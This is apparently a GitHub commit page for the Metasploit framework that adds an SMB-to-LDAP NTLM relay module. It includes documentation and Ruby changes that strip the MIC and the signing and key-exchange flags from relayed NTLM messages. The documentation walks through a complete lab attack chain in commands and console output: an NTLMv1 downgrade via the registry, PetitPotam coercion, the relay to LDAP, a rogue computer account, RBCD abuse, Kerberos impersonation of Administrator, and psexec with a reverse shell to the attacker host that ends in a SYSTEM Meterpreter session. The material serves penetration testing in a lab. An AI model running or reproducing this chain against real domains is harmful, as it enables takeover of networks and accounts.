Skip to content

Commit 413c193

Browse files
authored
Merge pull request rapid7#19832 from cdelafuente-r7/mod/relay/smb_to_ldap
SMB to LDAP relay module
2 parents b51b299 + 5305e04 commit 413c193

File tree

7 files changed

+622
-7
lines changed

7 files changed

+622
-7
lines changed
Lines changed: 314 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,314 @@
1+
## Vulnerable Application
2+
3+
This module supports running an SMB server which validates credentials, and
4+
then attempts to execute a relay attack against an LDAP server on the
5+
configured RELAY_TARGETS hosts.
6+
7+
It is not possible to relay NTLMv2 to LDAP due to the Message Integrity Check
8+
(MIC). As a result, this will only work with NTLMv1. The module takes care of
9+
removing the relevant flags to bypass signing.
10+
11+
If the relay succeeds, an LDAP session to the target will be created. This can
12+
be used by any modules that support LDAP sessions, like `admin/ldap/rbcd` or
13+
`auxiliary/gather/ldap_query`.
14+
15+
Supports SMBv2, SMBv3, and captures NTLMv1 as well as NTLMv2 hashes.
16+
SMBv1 is not supported - please see https://github.com/rapid7/metasploit-framework/issues/16261
17+
18+
19+
## Verification Steps
20+
21+
### Lab setup
22+
You will need a Domain Controller and a Domain-joined host:
23+
24+
Domain Computer <-> Metasploit framework <-> Domain Controller
25+
26+
Where:
27+
28+
- Domain name: NEWLAB.local
29+
- VICTIM (Domain Computer) = 192.168.232.111
30+
- msfconsole = 192.168.232.3
31+
- DC01 (Domain Controller) = 192.168.232.110
32+
33+
```mermaid
34+
flowchart LR
35+
A("VICTIM (Domain Computer) - 192.168.232.111")
36+
subgraph metasploit[" msfconsole - 192.168.232.3 "]
37+
subgraph inside [ ]
38+
direction TB
39+
style inside margin-top: 0
40+
style inside stroke: none
41+
42+
B("smb_to_ldap")
43+
database[(Database)]
44+
45+
B -->|"report_ntlm_type3(...)"| database
46+
end
47+
end
48+
C("DC01 (Domain Controller) - 192.168.232.110")
49+
50+
A <-->|SMB 445| metasploit
51+
metasploit <-->|"ldap session (TCP/389)"| C
52+
```
53+
54+
The Domain Computer will need to be configured to use NTLMv1 by setting the
55+
following registry key to a value less or equal to 2:
56+
57+
```
58+
PS > reg add HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa -v LmCompatibilityLevel /t REG_DWORD /d 0x2 /f
59+
```
60+
61+
```
62+
PS > reg query HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa -v LmCompatibilityLevel
63+
64+
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa
65+
LmCompatibilityLevel REG_DWORD 0x2
66+
```
67+
68+
Finally run the relay server on msfconsole, setting the `RELAY_TARGETS` option
69+
to the Domain Controller IP address.
70+
71+
```
72+
run verbose=true RELAY_TARGETS=192.168.232.110
73+
```
74+
75+
You will have to coerce the Domain Computer and force it to authenticate to the
76+
msfconsole server (see an example below).
77+
78+
79+
## Options
80+
81+
### RELAY_TARGETS
82+
83+
Target address range or CIDR identifier to relay to.
84+
85+
### CAINPWFILE
86+
87+
A file to store Cain & Abel formatted captured hashes in. Only supports NTLMv1 Hashes.
88+
89+
### JOHNPWFILE
90+
91+
A file to store John the Ripper formatted hashes in. NTLMv1 and NTLMv2 hashes
92+
will be stored in separate files.
93+
I.E. the filename john will produce two files, `john_netntlm` and `john_netntlmv2`.
94+
95+
### RELAY_TIMEOUT
96+
97+
Seconds that the relay socket will wait for a response after the client has
98+
initiated communication (default 25 sec.).
99+
100+
### SMBDomain
101+
102+
The domain name used during SMB exchange.
103+
104+
105+
## Scenarios
106+
107+
### Start the relay server
108+
```
109+
msf6 > use auxiliary/server/relay/smb_to_ldap
110+
msf6 auxiliary(server/relay/smb_to_ldap) > run verbose=true RELAY_TARGETS=192.168.232.110
111+
[*] Auxiliary module running as background job 0.
112+
msf6 auxiliary(server/relay/smb_to_ldap) >
113+
[*] SMB Server is running. Listening on 0.0.0.0:445
114+
[*] Server started.
115+
116+
msf6 auxiliary(server/relay/smb_to_ldap) > _servicemanager
117+
Services
118+
========
119+
120+
Id Name References
121+
-- ---- ----------
122+
0 Msf::Exploit::Remote::SMB::RelayServer::SMBRelayServer0.0.0.0445 2
123+
1 SMB Relay Server 2
124+
```
125+
126+
### Net use example
127+
A simple test would be using the Windows `net use` command:
128+
129+
```
130+
net use \\192.168.232.3\foo /u:Administrator 123456
131+
```
132+
133+
msfconsole output:
134+
135+
```
136+
[*] New request from 192.168.232.111
137+
[*] Received request for \Administrator
138+
[*] Relaying to next target ldap://192.168.232.110:389
139+
[+] Identity: \Administrator - Successfully authenticated against relay target ldap://192.168.232.110:389
140+
[+] Relay succeeded
141+
[*] LDAP session 1 opened (192.168.232.3:45007 -> 192.168.232.110:389) at 2025-01-23 20:39:45 +0100
142+
[*] Received request for \Administrator
143+
[*] Identity: \Administrator - All targets relayed to
144+
[*] New request from 192.168.232.111
145+
[*] Received request for NEWLAB\Administrator
146+
[*] Relaying to next target ldap://192.168.232.110:389
147+
[+] Identity: NEWLAB\Administrator - Successfully authenticated against relay target ldap://192.168.232.110:389
148+
[+] Relay succeeded
149+
[*] LDAP session 2 opened (192.168.232.3:43845 -> 192.168.232.110:389) at 2025-01-23 20:39:46 +0100
150+
[*] Received request for NEWLAB\Administrator
151+
[*] Identity: NEWLAB\Administrator - All targets relayed to
152+
153+
msf6 auxiliary(server/relay/smb_to_ldap) > sessions
154+
155+
Active sessions
156+
===============
157+
158+
Id Name Type Information Connection
159+
-- ---- ---- ----------- ----------
160+
1 ldap LDAP Administrator @ 192.168.232.110:389 192.168.232.3:45007 -> 192.168.232.110:389 (192.168.232.110)
161+
2 ldap LDAP Administrator @ 192.168.232.110:389 192.168.232.3:43845 -> 192.168.232.110:389 (192.168.232.110)
162+
```
163+
164+
### PetitPotam example
165+
166+
Coerce authentication using a non-privileged Domain User account with PetitPotam:
167+
168+
```
169+
msf6 auxiliary(scanner/dcerpc/petitpotam) > run verbose=true rhosts=192.168.232.111 listener=192.168.232.3 SMBUser=msfuser SMBPass=123456 SMBDomain=newlab.local
170+
[*] 192.168.232.111:445 - Binding to c681d488-d850-11d0-8c52-00c04fd90f7e:1.0@ncacn_np:192.168.232.111[\lsarpc] ...
171+
[*] 192.168.232.111:445 - Bound to c681d488-d850-11d0-8c52-00c04fd90f7e:1.0@ncacn_np:192.168.232.111[\lsarpc] ...
172+
[*] 192.168.232.111:445 - Attempting to coerce authentication via EfsRpcOpenFileRaw
173+
[*] 192.168.232.111:445 - Server responded with ERROR_ACCESS_DENIED (Access is denied.)
174+
[*] 192.168.232.111:445 - Attempting to coerce authentication via EfsRpcEncryptFileSrv
175+
176+
[*] New request from 192.168.232.111
177+
[*] Received request for NEWLAB\VICTIM$
178+
[*] Relaying to next target ldap://192.168.232.110:389
179+
[+] Identity: NEWLAB\VICTIM$ - Successfully authenticated against relay target ldap://192.168.232.110:389
180+
[*] Skipping previously captured hash for NEWLAB\VICTIM$
181+
[+] Relay succeeded
182+
[*] LDAP session 1 opened (192.168.232.3:46691 -> 192.168.232.110:389) at 2025-01-23 19:19:18 +0100
183+
[*] Received request for NEWLAB\VICTIM$
184+
[*] Identity: NEWLAB\VICTIM$ - All targets relayed to
185+
186+
[+] 192.168.232.111:445 - Server responded with ERROR_BAD_NETPATH which indicates that the attack was successful
187+
[*] 192.168.232.111:445 - Scanned 1 of 1 hosts (100% complete)
188+
[*] Auxiliary module execution completed
189+
190+
msf6 auxiliary(scanner/dcerpc/petitpotam) > sessions
191+
192+
Active sessions
193+
===============
194+
195+
Id Name Type Information Connection
196+
-- ---- ---- ----------- ----------
197+
1 ldap LDAP VICTIM$ @ 192.168.232.110:389 192.168.232.3:46691 -> 192.168.232.110:389 (192.168.232.110)
198+
199+
msf6 auxiliary(scanner/dcerpc/petitpotam) > sessions -i 1
200+
[*] Starting interaction with 1...
201+
202+
LDAP (192.168.232.110) > query -f (sAMAccountName=VICTIM$)
203+
CN=VICTIM,CN=Computers,DC=newlab,DC=local
204+
===============================================
205+
206+
Name Attributes
207+
---- ----------
208+
accountexpires 9223372036854775807
209+
badpasswordtime 133820110912034399
210+
badpwdcount 0
211+
cn VICTIM
212+
...
213+
214+
LDAP (192.168.232.110) >
215+
Background session 1? [y/N]
216+
```
217+
218+
### Exploit Resource-based Constrained Delegation (RBCD)
219+
220+
For details about RCBD, see https://docs.metasploit.com/docs/pentesting/active-directory/kerberos/rbcd.html#rbcd-exploitation
221+
222+
- Create a computer account with the `admin/dcerpc/samr_account` module and the same Domain User account
223+
224+
```
225+
msf6 auxiliary(admin/dcerpc/samr_account) > run verbose=true rhost=192.168.232.110 SMBUser=msfuser SMBPASS=123456 SMBDomain=newlab.local action=ADD_COMPUTER ACCOUNT_NAME=FAKE01$ ACCOUNT_PASSWORD=123456
226+
[*] Running module against 192.168.232.110
227+
[*] 192.168.232.110:445 - Adding computer
228+
[*] 192.168.232.110:445 - Connecting to Security Account Manager (SAM) Remote Protocol
229+
[*] 192.168.232.110:445 - Binding to \samr...
230+
[+] 192.168.232.110:445 - Bound to \samr
231+
[+] 192.168.232.110:445 - Successfully created newlab.local\FAKE01$
232+
[+] 192.168.232.110:445 - Password: 123456
233+
[+] 192.168.232.110:445 - SID: S-1-5-21-3065298949-3337206023-618530601-1618
234+
[*] Auxiliary module execution completed
235+
```
236+
237+
- Setup RBCD with the `admin/ldap/rbcd` module using the LDAP session
238+
239+
```
240+
msf6 auxiliary(admin/ldap/rbcd) > run verbose=true rhost=192.168.232.110 session=1 delegate_to=VICTIM action=READ
241+
[*] Running module against 192.168.232.110
242+
[+] Successfully bound to the LDAP server via existing SESSION!
243+
[*] Discovering base DN automatically
244+
[*] The msDS-AllowedToActOnBehalfOfOtherIdentity field is empty.
245+
[*] Auxiliary module execution completed
246+
247+
msf6 auxiliary(admin/ldap/rbcd) > run verbose=true rhost=192.168.232.110 session=1 delegate_to=VICTIM action=WRITE delegate_from=FAKE01$
248+
[*] Running module against 192.168.232.110
249+
[+] Successfully bound to the LDAP server via existing SESSION!
250+
[*] Discovering base DN automatically
251+
[+] Successfully created the msDS-AllowedToActOnBehalfOfOtherIdentity attribute.
252+
[*] Added account:
253+
[*] S-1-5-21-3065298949-3337206023-618530601-1618 (FAKE01$)
254+
[*] Auxiliary module execution completed
255+
256+
msf6 auxiliary(admin/ldap/rbcd) > run verbose=true rhost=192.168.232.110 session=1 delegate_to=VICTIM action=READ
257+
[*] Running module against 192.168.232.110
258+
[+] Successfully bound to the LDAP server via existing SESSION!
259+
[*] Discovering base DN automatically
260+
[*] Allowed accounts:
261+
[*] S-1-5-21-3065298949-3337206023-618530601-1618 (FAKE01$)
262+
[*] Auxiliary module execution completed
263+
```
264+
265+
- Getting the Kerberos tickets using the `admin/kerberos/get_ticket` module
266+
267+
```
268+
msf6 auxiliary(admin/kerberos/get_ticket) > run action=GET_TGS rhost=192.168.232.110 username=FAKE01 password=123456 domain=newlab.local spn=cifs/VICTIM.newlab.local impersonate=Administrator
269+
[*] Running module against 192.168.232.110
270+
[+] 192.168.232.110:88 - Received a valid TGT-Response
271+
[*] 192.168.232.110:88 - TGT MIT Credential Cache ticket saved to /home/n00tmeg/.msf4/loot/20250123192959_default_192.168.232.110_mit.kerberos.cca_759601.bin
272+
[*] 192.168.232.110:88 - Getting TGS impersonating [email protected] (SPN: cifs/VICTIM.newlab.local)
273+
[+] 192.168.232.110:88 - Received a valid TGS-Response
274+
[*] 192.168.232.110:88 - TGS MIT Credential Cache ticket saved to /home/n00tmeg/.msf4/loot/20250123192959_default_192.168.232.110_mit.kerberos.cca_975187.bin
275+
[+] 192.168.232.110:88 - Received a valid TGS-Response
276+
[*] 192.168.232.110:88 - TGS MIT Credential Cache ticket saved to /home/n00tmeg/.msf4/loot/20250123192959_default_192.168.232.110_mit.kerberos.cca_335229.bin
277+
[*] Auxiliary module execution completed
278+
```
279+
280+
- Code execution using the `windows/smb/psexec` module
281+
282+
```
283+
msf6 exploit(windows/smb/psexec) > klist
284+
Kerberos Cache
285+
==============
286+
id host principal sname enctype issued status path
287+
-- ---- --------- ----- ------- ------ ------ ----
288+
105 192.168.232.110 [email protected] krbtgt/[email protected] AES256 2025-01-23 19:29:59 +0100 active /home/n00tmeg/.msf4/loot/20250123192959_default_192.168.232.110_mit.kerberos.cca_759601.bin
289+
106 192.168.232.110 [email protected] [email protected] AES256 2025-01-23 19:29:59 +0100 active /home/n00tmeg/.msf4/loot/20250123192959_default_192.168.232.110_mit.kerberos.cca_975187.bin
290+
107 192.168.232.110 [email protected] cifs/[email protected] AES256 2025-01-23 19:29:59 +0100 active /home/n00tmeg/.msf4/loot/20250123192959_default_192.168.232.110_mit.kerberos.cca_335229.bin
291+
292+
msf6 exploit(windows/smb/psexec) > run lhost=192.168.232.3 rhost=192.168.232.111 username=Administrator smb::auth=kerberos smb::rhostname=VICTIM.newlab.local domaincontrollerrhost=192.168.232.110 domain=newlab.local
293+
[*] Started reverse TCP handler on 192.168.232.3:4444
294+
[*] 192.168.232.111:445 - Connecting to the server...
295+
[*] 192.168.232.111:445 - Authenticating to 192.168.232.111:445|newlab.local as user 'Administrator'...
296+
[*] 192.168.232.111:445 - Using cached credential for cifs/[email protected] [email protected]
297+
[*] 192.168.232.111:445 - Selecting PowerShell target
298+
[*] 192.168.232.111:445 - Executing the payload...
299+
[+] 192.168.232.111:445 - Service start timed out, OK if running a command or non-service executable...
300+
[*] Sending stage (177734 bytes) to 192.168.232.111
301+
[*] Meterpreter session 1 opened (192.168.232.3:4444 -> 192.168.232.111:42528) at 2025-01-23 19:35:07 +0100
302+
303+
meterpreter > getuid
304+
Server username: NT AUTHORITY\SYSTEM
305+
meterpreter > sysinfo
306+
Computer : VICTIM
307+
OS : Windows Server 2019 (10.0 Build 17763).
308+
Architecture : x64
309+
System Language : en_US
310+
Domain : NEWLAB
311+
Logged On Users : 9
312+
Meterpreter : x86/windows
313+
```
314+

lib/msf/core/exploit/remote/smb/relay/ntlm/server_client.rb

Lines changed: 40 additions & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -92,7 +92,7 @@ def do_session_setup_smb2(request, session)
9292
return response
9393
end
9494

95-
relay_result = self.relay_ntlmssp(session, request.buffer)
95+
relay_result = self.relay_ntlmssp(session, request.buffer.to_binary_s)
9696
return if relay_result.nil?
9797

9898
response = ::RubySMB::SMB2::Packet::SessionSetupResponse.new
@@ -103,7 +103,7 @@ def do_session_setup_smb2(request, session)
103103
response.smb2_header.nt_status = relay_result.nt_status.value
104104
if relay_result.nt_status == ::WindowsError::NTStatus::STATUS_MORE_PROCESSING_REQUIRED
105105
response.smb2_header.nt_status = ::WindowsError::NTStatus::STATUS_MORE_PROCESSING_REQUIRED.value
106-
response.buffer = relay_result.message.serialize
106+
response.buffer = relay_result.message.serialize if relay_result.message
107107

108108
if @dialect == '0x0311'
109109
update_preauth_hash(response)
@@ -142,7 +142,18 @@ def relay_ntlmssp(session, incoming_security_buffer = nil)
142142
# Choose the next machine to relay to, and send the incoming security buffer to the relay target
143143
if ntlm_message.is_a?(::Net::NTLM::Message::Type1)
144144
relayed_connection = session.metadata[:relayed_connection]
145-
logger.info("Relaying NTLM type 1 message to #{relayed_connection.target.ip} (Always Sign: #{ntlm_message.has_flag?(:ALWAYS_SIGN)}, Sign: #{ntlm_message.has_flag?(:SIGN)}, Seal: #{ntlm_message.has_flag?(:SEAL)})")
145+
logger.info(
146+
"Relaying NTLM type 1 message to #{relayed_connection.target} "\
147+
"(Always Sign: #{ntlm_message.has_flag?(:ALWAYS_SIGN)}, "\
148+
"Sign: #{ntlm_message.has_flag?(:SIGN)}, Seal: #{ntlm_message.has_flag?(:SEAL)})"
149+
)
150+
151+
if relayed_connection.target.drop_mic_and_sign_key_exch_flags
152+
incoming_security_buffer = do_drop_mic_and_flags(ntlm_message)
153+
elsif relayed_connection.target.drop_mic_only
154+
incoming_security_buffer = do_drop_mic(ntlm_message)
155+
end
156+
146157
relay_result = relayed_connection.relay_ntlmssp_type1(incoming_security_buffer)
147158
return nil unless relay_result&.nt_status == WindowsError::NTStatus::STATUS_MORE_PROCESSING_REQUIRED
148159

@@ -161,6 +172,13 @@ def relay_ntlmssp(session, incoming_security_buffer = nil)
161172
elsif ntlm_message.is_a?(::Net::NTLM::Message::Type3)
162173
relayed_connection = session.metadata[:relayed_connection]
163174
logger.info("Relaying #{ntlm_message.ntlm_version == :ntlmv2 ? 'NTLMv2' : 'NTLMv1'} type 3 message to #{relayed_connection.target} as #{session.metadata[:identity]}")
175+
176+
if relayed_connection.target.drop_mic_and_sign_key_exch_flags
177+
incoming_security_buffer = do_drop_mic_and_flags(ntlm_message)
178+
elsif relayed_connection.target.drop_mic_only
179+
incoming_security_buffer = do_drop_mic(ntlm_message)
180+
end
181+
164182
relay_result = relayed_connection.relay_ntlmssp_type3(incoming_security_buffer)
165183

166184
is_success = relay_result&.nt_status == WindowsError::NTStatus::STATUS_SUCCESS
@@ -212,6 +230,8 @@ def create_relay_client(target, timeout)
212230
client = Target::HTTP::Client.create(self, target, logger, timeout)
213231
when :smb
214232
client = Target::SMB::Client.create(self, target, logger, timeout)
233+
when :ldap
234+
client = Target::LDAP::Client.create(self, target, logger, timeout)
215235
else
216236
raise RuntimeError, "unsupported protocol: #{target.protocol}"
217237
end
@@ -228,5 +248,22 @@ def create_relay_client(target, timeout)
228248
logger.print_error msg
229249
nil
230250
end
251+
252+
253+
private
254+
255+
def do_drop_mic(ntlm_message)
256+
logger.info('Dropping MIC')
257+
ntlm_message.serialize
258+
end
259+
260+
def do_drop_mic_and_flags(ntlm_message)
261+
logger.info('Dropping MIC and removing flags: `Always Sign`, `Sign` and `Key Exchange`')
262+
flags = ntlm_message.flag
263+
flags &= ~Net::NTLM::FLAGS[:ALWAYS_SIGN] & ~Net::NTLM::FLAGS[:SIGN] & ~Net::NTLM::FLAGS[:KEY_EXCHANGE]
264+
ntlm_message.flag = flags
265+
ntlm_message.serialize
266+
end
267+
231268
end
232269
end

0 commit comments

Comments
 (0)